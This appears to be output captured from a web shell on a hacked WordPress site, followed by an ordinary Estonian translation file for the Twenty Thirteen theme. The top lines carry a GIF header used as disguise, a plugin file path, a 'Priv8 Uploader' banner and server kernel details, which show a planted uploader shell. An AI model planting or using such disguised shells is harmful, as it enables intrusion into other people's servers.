GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3
Priv8 Uploader By InMyMine7
Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
# Translation of Twenty Thirteen in Estonian # This file is distributed under the same license as the Twenty Thirteen package. msgid "" msgstr "" "PO-Revision-Date: 2013-12-29 18:02:01+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/0.1\n" "Project-Id-Version: Twenty Thirteen\n" #: 404.php:16 msgid "Not Found" msgstr "Ei leitud" #. Description of the plugin/theme msgid "The 2013 theme for WordPress takes us back to the blog, featuring a full range of post formats, each displayed beautifully in their own unique way. Design details abound, starting with a vibrant color scheme and matching header images, beautiful typography and icons, and a flexible layout that looks great on any device, big or small." msgstr "Aasta 2013 WordPressi teema viib meid tagasi ajaveebi juurde, pakkudes täielikku valikut postituseformaatidest millest igaühte kuvatakse nimelt sellele sisutüübile sobilikul moel. Disaini detaile jagub ka mujale, alustades julge värvivaliku ja sobivate päisepiltide, läbimõeldud tüpograafia ja ikoonidega - ning lõpetades kõike seda siduva paindliku paigutusega mis töötab hästi igal seadmel, olgu see suur või väike." #: functions.php:233 msgid "Appears in the footer section of the site." msgstr "Kuvatakse saidi jaluses." #. Theme URI of the plugin/theme msgid "http://wordpress.org/themes/twentythirteen" msgstr "http://wordpress.org/themes/twentythirteen" #: image.php:38 msgid "Link to full-size image" msgstr "Viide täis-suuruses pildile" #: functions.php:231 msgid "Main Widget Area" msgstr "Peamine moodulite ala" #: functions.php:241 msgid "Secondary Widget Area" msgstr "Täiendav moodulite ala" #: functions.php:243 msgid "Appears on posts and pages in the sidebar." msgstr "Kuvatakse postituste ja lehtede külgpaanis." #: image.php:39 msgid "Full resolution" msgstr "Täisresolutsioon" #: inc/back-compat.php:37 inc/back-compat.php:47 inc/back-compat.php:60 msgid "Twenty Thirteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again." msgstr "Twenty Thirteen nõuab WordPressi versiooniks vähemalt 3.6. Sinul on kasutusel %s. Palun uuenda ja proovi siis uuesti." #: 404.php:21 msgid "This is somewhat embarrassing, isn’t it?" msgstr "See on mõnevõrra piinlik, kas pole?" #: 404.php:22 msgid "It looks like nothing was found at this location. Maybe try a search?" msgstr "Tundub, et selle koha pealt ei leia me midagi. Võibolla aitab otsing?" #: archive.php:29 msgid "Daily Archives: %s" msgstr "Arhiiv kuupäevade lõikes: %" #: archive.php:31 msgid "Monthly Archives: %s" msgstr "Arhiiv kuude lõikes: %s" #: archive.php:31 msgctxt "monthly archives date format" msgid "F Y" msgstr "F Y" #: archive.php:33 msgid "Yearly Archives: %s" msgstr "Arhiiv aastate lõikes: %s" #: archive.php:33 msgctxt "yearly archives date format" msgid "Y" msgstr "Y" #: archive.php:35 msgid "Archives" msgstr "Arhiiv" #: author-bio.php:26 msgid "About %s" msgstr "%s: tutvustus" #: author-bio.php:30 msgid "View all posts by %s <span class=\"meta-nav\">→</span>" msgstr "Vaata postitusi (sorteeritud: %s) <span class=\"meta-nav\">→</span>" #: author.php:31 msgid "All posts by %s" msgstr "Autori %s postitused" #: category.php:19 msgid "Category Archives: %s" msgstr "Rubriigiarhiiv: %s" #: comments.php:25 msgctxt "comments title" msgid "One thought on “%2$s”" msgid_plural "%1$s thoughts on “%2$s”" msgstr[0] "Üks arvamus “%2$s” kohta" msgstr[1] "%1$s arvamust “%2$s” kohta" #: comments.php:45 msgid "Comment navigation" msgstr "Kommentaaride töölaud" #: comments.php:46 msgid "← Older Comments" msgstr "← Vanemad kommentaarid" #: comments.php:47 msgid "Newer Comments →" msgstr "Uuemad kommentaarid →" #: comments.php:52 msgid "Comments are closed." msgstr "Kommenteerimine on suletud." #: content-aside.php:13 content-audio.php:24 content-gallery.php:24 #: content-image.php:23 content-link.php:24 content-quote.php:13 #: content-status.php:13 content-video.php:23 content.php:41 msgid "Continue reading <span class=\"meta-nav\">→</span>" msgstr "Jätka lugemist <span class=\"meta-nav\">→</span>" #: content-aside.php:14 content-audio.php:25 content-chat.php:24 #: content-gallery.php:25 content-image.php:24 content-link.php:25 #: content-quote.php:14 content-status.php:14 content-video.php:24 #: content.php:42 image.php:70 page.php:35 msgid "Pages:" msgstr "Lehed:" #: content-aside.php:20 content-aside.php:28 content-audio.php:31 #: content-chat.php:29 content-gallery.php:39 content-image.php:35 #: content-link.php:19 content-quote.php:25 content-status.php:19 #: content-video.php:35 content.php:31 image.php:44 page.php:39 msgid "Edit" msgstr "Muuda" #: functions.php:369 msgid "Permalink to %s" msgstr "Püsiviide: %s" #: content-gallery.php:36 content-image.php:32 content-quote.php:22 #: content-video.php:32 content.php:49 msgid "Leave a comment" msgstr "Lisa kommentaar" #: content-gallery.php:36 content-image.php:32 content-quote.php:22 #: content-video.php:32 content.php:49 msgid "One comment so far" msgstr "Üks kommentaar" #: content-gallery.php:36 content-image.php:32 content-quote.php:22 #: content-video.php:32 content.php:49 msgid "View all % comments" msgstr "Kuva kõik % kommentaari" #: content-none.php:12 msgid "Nothing Found" msgstr "Midagi ei leitud" #: content-none.php:18 msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>." msgstr "Valmis esimese postituse avaldamiseks? <a href=\"%1$s\">Alusta siit</a>." #: content-none.php:22 msgid "Sorry, but nothing matched your search terms. Please try again with different keywords." msgstr "Kahjuks ei leidnud midagi sinu pakutud otsisõnadega seonduvat. Palun proovi uuesti!" #: content-none.php:27 msgid "It seems we can’t find what you’re looking for. Perhaps searching can help." msgstr "Tundub, et me ei leia, mida otsite. Võibolla otsingumootor aitab." #. #-#-#-#-# twentythirteen.pot (Twenty Thirteen 1.3) #-#-#-#-# #. Author URI of the plugin/theme #: footer.php:19 msgid "http://wordpress.org/" msgstr "http://wordpress.org/" #: footer.php:19 msgid "Semantic Personal Publishing Platform" msgstr "Semantiline avaldamisplatvorm" #: footer.php:19 msgid "Proudly powered by %s" msgstr "Kasutame %si" #: functions.php:97 msgid "Navigation Menu" msgstr "Navigatsioonimenüü" #. Translators: If there are characters in your language that are not #. * supported by Source Sans Pro, translate this to 'off'. Do not translate #. * into your own language. #: functions.php:128 msgctxt "Source Sans Pro font: on or off" msgid "on" msgstr "sees" #. Translators: If there are characters in your language that are not #. * supported by Bitter, translate this to 'off'. Do not translate into your #. * own language. #: functions.php:134 msgctxt "Bitter font: on or off" msgid "on" msgstr "sees" #: functions.php:218 msgid "Page %s" msgstr "Leht %s" #: functions.php:266 msgid "Posts navigation" msgstr "Postituste navigatsioon" #: functions.php:270 msgid "<span class=\"meta-nav\">←</span> Older posts" msgstr "<span class=\"meta-nav\">←</span> Vanemad postitused" #: functions.php:274 msgid "Newer posts <span class=\"meta-nav\">→</span>" msgstr "Uuemad postitused <span class=\"meta-nav\">→</span>" #: functions.php:300 msgid "Post navigation" msgstr "Postituste töölaud" #: functions.php:303 msgctxt "Previous post link" msgid "<span class=\"meta-nav\">←</span> %title" msgstr "<span class=\"meta-nav\">←</span> %title" #: functions.php:304 msgctxt "Next post link" msgid "%title <span class=\"meta-nav\">→</span>" msgstr "%title <span class=\"meta-nav\">→</span>" #: functions.php:322 msgid "Sticky" msgstr "Kinnistatud" #. Translators: used between list items, there is a space after the comma. #: functions.php:328 functions.php:334 msgid ", " msgstr ", " #: functions.php:343 msgid "View all posts by %s" msgstr "Vaata autori %s postitusi" #: functions.php:363 msgctxt "1: post format name. 2: date" msgid "%1$s on %2$s" msgstr "%1$s, %2$s" #: header.php:43 msgid "Menu" msgstr "Menüü" #: header.php:44 msgid "Skip to content" msgstr "Liigu sisu juurde" #: image.php:22 msgid "<span class=\"attachment-meta\">Published on <time class=\"entry-date\" datetime=\"%1$s\">%2$s</time> in <a href=\"%3$s\" title=\"Return to %4$s\" rel=\"gallery\">%5$s</a></span>" msgstr "<span class=\"attachment-meta\">Avaldatud <time class=\"entry-date\" datetime=\"%1$s\">%2$s</time> <a href=\"%3$s\" title=\"Tagasi %4$s\" rel=\"gallery\">%5$s</a></span>" #: image.php:51 msgid "<span class=\"meta-nav\">←</span> Previous" msgstr "<span class=\"meta-nav\">←</span> Eelmine" #: image.php:52 msgid "Next <span class=\"meta-nav\">→</span>" msgstr "Järgmine <span class=\"meta-nav\">→</span>" #: inc/custom-header.php:49 msgctxt "header image description" msgid "Circle" msgstr "Ringid" #: inc/custom-header.php:54 msgctxt "header image description" msgid "Diamond" msgstr "Sakid" #: inc/custom-header.php:59 msgctxt "header image description" msgid "Star" msgstr "Hulknurgad" #: search.php:18 msgid "Search Results for: %s" msgstr "Otsitulemused: %s" #: tag.php:21 msgid "Tag Archives: %s" msgstr "Sildiarhiiv: %s" #: taxonomy-post_format.php:23 msgid "%s Archives" msgstr "%s arhiiv" #. Theme Name of the plugin/theme msgid "Twenty Thirteen" msgstr "Twenty Thirteen" #. Author of the plugin/theme msgid "the WordPress team" msgstr "WordPressi meeskond"